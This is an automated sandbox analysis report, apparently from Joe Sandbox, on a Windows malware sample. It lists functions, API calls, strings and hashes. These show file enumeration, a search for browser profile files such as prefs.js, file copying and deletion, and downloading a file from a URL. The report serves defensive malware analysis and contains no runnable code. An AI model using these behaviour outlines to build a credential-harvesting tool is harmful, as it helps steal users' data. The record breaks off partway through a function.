strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5C3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5C394C

Strings

GenuntelineI, xrefs: 6C5C3639
AuthcAMDenti, xrefs: 6C5C3946
QPC, xrefs: 6C5C38FC
GTC, xrefs: 6C5C3912
MOZ_TIMESTAMP_MODE, xrefs: 6C5C35DB

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 381154e06a06cc23cb0cf1ccbb597bf4616bdc1d449003927f2db8f2cb0fb008
Instruction ID: 3246332e0a862dacf2f2a6b3f5785003fab8453d214601127360ad0ad4d8e4d3
Opcode Fuzzy Hash: 381154e06a06cc23cb0cf1ccbb597bf4616bdc1d449003927f2db8f2cb0fb008
Instruction Fuzzy Hash: 12B1D871B093109FDB08EF69C89465ABBF5FBCA708F04C92DE899D3750D77099018B8A

Function 00734910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0073492C
FindFirstFileA.KERNEL32(?,?), ref: 00734943
StrCmpCA.SHLWAPI(?,00740FDC), ref: 00734971
StrCmpCA.SHLWAPI(?,00740FE0), ref: 00734987
FindNextFileA.KERNEL32(000000FF,?), ref: 00734B7D
FindClose.KERNEL32(000000FF), ref: 00734B92

Strings

%s\%s, xrefs: 007349FB
%s\*, xrefs: 00734920
%s\%s, xrefs: 007349A4

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: cfbe6c9b1de6a6ab293c8244aed173ece7ba59825b03b7c4af8a7c3b35622b3f
Instruction ID: c989cf80769a25cc3beb42d31379230bd5c5947605df412e7cf52fe735fcc97b
Opcode Fuzzy Hash: cfbe6c9b1de6a6ab293c8244aed173ece7ba59825b03b7c4af8a7c3b35622b3f
Instruction Fuzzy Hash: 186157B1910218ABDB24EBA0DC49FEA737CBF48701F04459CF609A6141EB79EB85DF91

Function 00733EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00733EC3
FindFirstFileA.KERNEL32(?,?), ref: 00733EDA
StrCmpCA.SHLWAPI(?,00740FAC), ref: 00733F08
StrCmpCA.SHLWAPI(?,00740FB0), ref: 00733F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0073406C
FindClose.KERNEL32(000000FF), ref: 00734081

Strings

%s\%s, xrefs: 00733EB7

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 3dc108fcbe4684d936ded0d00aace9aba4606bb8b11ab5380374e0c13982870f
Instruction ID: 3dc1cf694cfa426d3150f6b868996517493f904a2babab8bd3d31dc4dcf360ef
Opcode Fuzzy Hash: 3dc108fcbe4684d936ded0d00aace9aba4606bb8b11ab5380374e0c13982870f
Instruction Fuzzy Hash: 925144B2914218EBDB24EBB0DC89EEA737CBB54300F40459CF65996041DB79EB898F91

Function 007260A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Part of subcall function 007247B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 007247EA
Part of subcall function 007247B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00724801
Part of subcall function 007247B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00724818
Part of subcall function 007247B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00724839
Part of subcall function 007247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00724849

InternetOpenA.WININET(00740DF7,00000001,00000000,00000000,00000000), ref: 0072610F
StrCmpCA.SHLWAPI(?,015FD838), ref: 00726147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0072618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 007261B3
InternetReadFile.WININET(a+s,?,00000400,?), ref: 007261DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0072620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00726249
InternetCloseHandle.WININET(a+s), ref: 00726253
InternetCloseHandle.WININET(00000000), ref: 00726260

Strings

a+s, xrefs: 007260B0, 0072617F, 00726266, 00726124, 007260B3
a+s, xrefs: 0072624F, 007261D8, 007261DB, 00726252

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: a+s$a+s
API String ID: 4287319946-3129848660
Opcode ID: 0e2e1abe13c9ec94cab312e71c427f28ba8391accb7890cb481f193138accca2
Instruction ID: 0745beb31837e3eaac90d20d405288fd36ecfc662a9c024d73a74466d9768266
Opcode Fuzzy Hash: 0e2e1abe13c9ec94cab312e71c427f28ba8391accb7890cb481f193138accca2
Instruction Fuzzy Hash: DA513EB1910218EBEB20DF50DC49BEE77B8FB44701F108099F605A7181DBB86A85DF96

Function 0072F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007415B8,00740D96), ref: 0072F71E
StrCmpCA.SHLWAPI(?,007415BC), ref: 0072F76F
StrCmpCA.SHLWAPI(?,007415C0), ref: 0072F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0072FAB1
FindClose.KERNEL32(000000FF), ref: 0072FAC3

Strings

prefs.js, xrefs: 0072F812

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: c5ccec16945ef265caaf95e7fcfdfd844832acaa6ace51457ea22e5ce9c9b663
Instruction ID: de59e8981d51480674c139202927d476f549544fa6859ea09b602866b2d31a93
Opcode Fuzzy Hash: c5ccec16945ef265caaf95e7fcfdfd844832acaa6ace51457ea22e5ce9c9b663
Instruction Fuzzy Hash: DAB14371900118EBDB24FF60DC9ABEE7379AF54300F4081B8E54A96152EF386B49CF92

Function 007216D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00745114,?,00721F2C,?,007451BC,?,?,00000000,?,00000000), ref: 00721923
StrCmpCA.SHLWAPI(?,00745264), ref: 00721973
StrCmpCA.SHLWAPI(?,0074530C), ref: 00721989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00721D40
DeleteFileA.KERNEL32(00000000), ref: 00721DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00721E20
FindClose.KERNEL32(000000FF), ref: 00721E32

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

Strings

\*.*, xrefs: 007217F1

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 769850a0e6fbc180b756a8b36c8957633f070c55f0aac4035ba10eb5e60a88d7
Instruction ID: f2afaa1e2f0a079700ea0353dd2e9409abe5b361d6443117404ae408490a6075
Opcode Fuzzy Hash: 769850a0e6fbc180b756a8b36c8957633f070c55f0aac4035ba10eb5e60a88d7
Instruction Fuzzy Hash: F412E071910118FBEB15FB60DC9BAEE7378AF54300F4141A9B54662092EF786F89CF92

Function 0072DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007414B0,00740C2A), ref: 0072DAEB
StrCmpCA.SHLWAPI(?,007414B4), ref: 0072DB33
StrCmpCA.SHLWAPI(?,007414B8), ref: 0072DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0072DDCC
FindClose.KERNEL32(000000FF), ref: 0072DDDE

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: d02094bebe46d8b7491fbabd191cc99768af9c608cd50902ca2f3c022134669e
Instruction ID: 3bba14a9c73771b7edef043bceceb9306743d9345a9f06f3d7270deb89c43d83
Opcode Fuzzy Hash: d02094bebe46d8b7491fbabd191cc99768af9c608cd50902ca2f3c022134669e
Instruction Fuzzy Hash: 12914672910114FBDB14FB70EC9B9ED737CAF94300F408568F94696182EE38AB598B93

Function 0072E430 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00740D73), ref: 0072E4A2
StrCmpCA.SHLWAPI(?,007414F8), ref: 0072E4F2
StrCmpCA.SHLWAPI(?,007414FC), ref: 0072E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0072EBDF

Strings

\*.*, xrefs: 0072E44D
r, xrefs: 0072EBF5, 0072E5EB, 0072E71C, 0072E85B, 0072E4B9, 0072E5EE, 0072E71F, 0072E85E

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$r
API String ID: 433455689-1153286686
Opcode ID: 2a79c225a02272a11e19547969708a38d4a9ca662e99b5421b4b3f3cbcde3ce9
Instruction ID: b4d52275e19b9be58bb527a3cf46978319ddc826b77d145831f7cd26b904de3a
Opcode Fuzzy Hash: 2a79c225a02272a11e19547969708a38d4a9ca662e99b5421b4b3f3cbcde3ce9
Instruction Fuzzy Hash: A7122171910118FAEB15FB60DC9BEED7378AF54300F4041A9B54AA6192EF386F49CF92

Function 00737B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

